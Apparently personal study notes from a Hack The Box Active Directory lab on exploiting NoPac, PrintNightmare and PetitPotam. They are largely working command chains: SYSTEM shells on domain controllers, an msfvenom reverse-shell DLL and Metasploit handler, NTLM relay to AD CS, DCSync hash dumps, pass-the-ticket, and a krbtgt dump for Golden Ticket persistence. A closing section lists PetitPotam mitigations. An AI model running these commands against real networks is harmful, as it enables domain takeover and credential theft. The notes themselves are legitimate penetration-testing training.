---
title: "17. Bleeding Edge Vulnerabilities"
date: 2024-09-08
draft: false
---

- Orgs not very quick to roll out patches to their networks 
- This module will cover some recent non-destructive exploitation techniques. 

All examples performed from a linux attack host. 
- For the portion of this section that demonstrates interaction from a Windows host (using Rubeus and Mimikatz), you could spawn the MS01 attack host in the previous or next section and use the base64 certificate blob obtained using `ntlmrelayx.py` and `petitpotam.py` to perform the same pass-the-ticket attack using Rubeus as demonstrated near the end of this section.

## NoPac (SamAccountName spoofing)
https://techcommunity.microsoft.com/t5/security-compliance-and-identity/sam-name-impersonation/ba-p/3042699

CVE 2021-42278, 
- Bypass vulnerability in SAM (Security Account Manager) 
CVE 2021-42287 
- Vulnerability in Kerberos Privilege Attribute Certficate (PAC) in ADDS 

Allows for infra-domain privilege escalation from any standard domain user to Domain Admin level privileges in a single command. 

Takes advantage of the ability to change `SamAccountName` of a computer account to that of a Domain controller. By default, authenticated users can add up to 10 computers to a domain. 
- When doing so we change the name of the new host to match a domain controller's SamAccountName
- Request kerb tickets causing the service to issue us tickets under the DC's name instead of the new name
- TGS is requested, it will issue us the ticket with the closest matching name
- Once done, we will have access as that service and can get a SYS shell on a DC. 
https://www.secureworks.com/blog/nopac-a-tale-of-two-vulnerabilities-that-could-end-in-ransomware
```bash
git clone https://github.com/SecureAuthCorp/impacket.git
python setup.py install 
git clone https://github.com/Ridter/noPac.git
```
Once installed:
- scanner.py to determine vulnerability
- noPac.py to gain shell as sys
- Scanner able to be used with std. domain user account to attempt TGT from target DC 
	- If success = vuln 
- Notice ms-DS-MachineAccountQuota is set to 10. Some env admins may set this to 0. Setting this to 0 can actually prevent quite a few AD attacks. 

```bash
sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap
```
Can be used multiple ways. Example is to obtain shell with SYS privs. Syntax below to impersonate built-in administrator account and drop into a semi-interactive shell session on the target DC - could be noisy! 
```bash
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5  -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap
```

Uses smbexec.py - With smbexec we need exact paths instead of navigating the directory structure with `cd` 

NoPac.py does save the TGT in the directory on the attack host where the exploit was run. 
We could then use the ccache file to perform a `pass-the-ticket` attack and perform further attacks such as a DCSync. We can also use the tool with -dump to perform a DCSync using secretsdump.py 
- Would still create a ccache file on disk which we want to be aware of, and clean up after running the exploit. 

DCSync: 
```bash
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5  -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator
```

WinDef / smbexec.py considerations - 
- Windef enabled, shell session may work but commands will fail. 
- First thing smbexec.py does is create a service called BTOBTO; another service named BTOBO is created 
- Any commands are sent over SMB inside .bat file named execute.bat 
- Each new command, a new batch script is created and echoed to a temporary file that executes / deletes it. 
- If you are interested in being "quiet", smbexec.py is likely not a great tool to be considered. 

---
## PrintNightmare
Nickname given to two CVEs 
- CVE-2021-34527 
- CVE-2021-1675 
CVEs pertain to print spoofer service. 
Allows for privesc / remote code execution. 
```bash
stejwes@htb[/htb]$ git clone https://github.com/cube0x0/CVE-2021-1675.git
```
We need to use cube0x0's version of impacket. (This is kind of annoying, may just use an alternate method.) 
```bash
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
```
Use rpcdump.py to see if `Print System Asynchronous Protocol` and `Print System Remote Protocol` are exposed on the target. 
```bash
stejwes@htb[/htb]$ rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol 
```

From here we can proceed with the exploit. Use msfvenom to craft a DLL payload, and host it on an SMB share. 
```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll
```

```bash
sudo smbserver.py -smb2support CompData /path/to/backupscript.dll
```

Once the share is created and hosting the payload, use MSF to configure/start a multi handler for catching a revshell that gets executed on the target. 
```bash
[msf](Jobs:0 Agents:0) >> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LHOST 172.16.5.225
LHOST => 10.3.88.114
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 8080
LPORT => 8080
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run
```
With: 
- Share hosting our payload
- Multi-handler listening 
We can run the exploit: 
```bash
sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\CompData\backupscript.dll'
```

![](/img/Pasted image 20240908182538.png)
![](/img/Pasted image 20240908182619.png)

The same also works without using Metasploit - just use `windows/x64/shell_reverse_tcp` and listen with netcat 
![](/img/Pasted image 20240908183116.png)


---
## PetitPotam 
- CVE-2021-36942

LSA spoofing vuln patched aug 2021 
Allows unauth attacker to coerce DC to authenticate against another host using NTLM over port 445 via LSARPC 
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc
and abusing MS's Encrypting File System Remote Protocol  
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31

- Requires ADCS (AD certificate services) in use. 

Exploit workflow: 
- Authentication request from targeted DC relayed to CA (cert auth) host's web enrollment page
- Makes a Certificate Signing Request (CSR) for a new digital cert 
- Cert can then be used with a tool like Rubeus, or `gettgtpkinit.py` from PKINITtools to request TGT for DC
	- From there we can domain compromise by DCSync 
https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/

Need to start `ntlmrelayx.py` in one window on our attack host, specifying the Web Enrollment URL for the CA host using either KerberosAuthentication or DomainController ADCS template. 
If we don't know the location of the CA we can use a tool like `certi` to locate it. 
https://github.com/zer1t0/certi

```bash
sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController
```

In another window, we run the PetitPotam.py tool with atk host and dc ip. 
https://github.com/topotam/PetitPotam

There's also an executable that can be run directly from Windows. 

Auth trigger also exists in Mimikatz + can be run as follows using the EFS module: 
```bash
misc::efs /server:<DomainControllerIP> /connect<ATTACKHOST> 
```
Powershell version: https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/Invoke-Petitpotam.ps1 

Here, we run the tool and attempt to coerce authentication via `EfsRpcOpenFileRaw` method. 

```bash
python3 PetitPotam.py 172.16.5.225 172.16.5.5 
```
WHERE `.225` -> attack host IP nnnn
WHERE `.5` -> Domain Controller IP 

In our ntlmrelayx.py window, we should receive a successful login request and obtain the base64 encoded certificate for the Domain Controller, if the attack is successful. 

Next - take base64 certificate and use `gettgtpkinit.py` to request a Ticket-Granting-Ticket for the domain controller 
```bash
python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 MIIStQIBAzCCEn8GCSqGSI...SNIP...CKBdGmY= dc01.ccache
```
Setting KRB5CCNAME env var: 
TGT requested above was saved to `dc01.ccache` file, we should set this to the above envvar so our attack host uses this file for kerberos authentication attempts. 

```bash
export KRB5CCNAME=dc01.ccache
```
Then, we can use this TGT with `secretsdump.py` to perform a DCSync and retrieve one or all of the NTLM password hashes for the domain. 

```bash
secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
```
It's also possible to use a more straightforward command: 
```bash
secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
```
Tool will retrieve the username from the ccname file. 
We can see this by typing `klist` 

Finally we can use the NT hash for the built-in Admin account to auth to DC 
```bash
crackmapexec smb 172.16.5.5 -u administrator -H 88ad09182de639ccc6579eb0849751cf
```

We can also take an alternate route once we have the TGT for the target 
- `getnthash.py` from PKINITtools and request NT hash for our target host/user by using Kerberos U2U to submit a TGS request with `Privileged Attribute Certificate` (PAC) which contains the NT Hash for the target. This can be decrypted with the AS-REP encryption key we obtained when requesting the TGT earlier.  

```bash
python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836b670447facb099b4b2b7cd5b762386b3369aa16d912275 INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01$
```

Once we have this we can DCSync using secretsdump.py using -hashes flag. 

```bash
secretsdump.py -just-dc-user INLANEFREIGHT/administrator "ACADEMY-EA-DC01$"@172.16.5.5 -hashes aad3c435b514a4eeaad3b935b51304fe:313b6f423cd1ee07e91315b4919fb4ba
```

Alternatively at the point of getting b64 cert with ntlmrelayx.py - 
Use `Rubeus` and the certificate to request a TGT ticket and perform a PTT (Pass-the-Ticket) attack all at once. 
```bash
.\Rubeus.exe asktgt /user:ACADEMY-EA-DC01$ /certificate:MIIStQIBAzC...SNIP...IkHS2vJ51Ry4= /ptt
```
Type `klist` to determine ticket is in memory. 

Since Domain Controllers have replication privs in teh domain we can pass-the-ticket to perform a DCSync attack using Mimikatz from our windows attack host. Here, we grab the NT hash for the KRBTGT account which can be used to create a Golden Ticket and establish persistence. We could obtain the NT hash for any privileged user using DCSync and move forward to the next phase of our assessment. 

```bash
cd .\mimikatz\x64\
.\mimikatz.exe 

mimikatz # lsadump::dcsync /user:inlanefreight\krbtgt 
```

**PetitPotam mitigations:** 
Patch for CVE-2021-36942 should be applied to any affected hosts. 
- Prevent ntlm relay attacks, use Extended Protection for Authentication along with enabling `Require SSL` to only allow HTTPS connections for the Certificate Authority Web Enrollment / Certificate Enrollment Web Service services 
- Disabling NTLM auth for Domain Controllers
- Disabling NTLM on AD CS servers using Group Policy
- Disabling NTLM for IIS on AD CS servers where the `CA Web Enrollment` and `Certificate Enrollment Web Service` services are in use. 


Important reading: 
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
- Demonstrates attacks against AD CS that can be performed using authenticated API calls. 
- This shows applying the CVE-2021-36942 patch alone to mitigate PetitPotam is not enough for most organizations running ADCS because an attacker with standard domain user credentials can still perform attacks against ADCS in many instances. 
- Details other hardening / detection steps. 

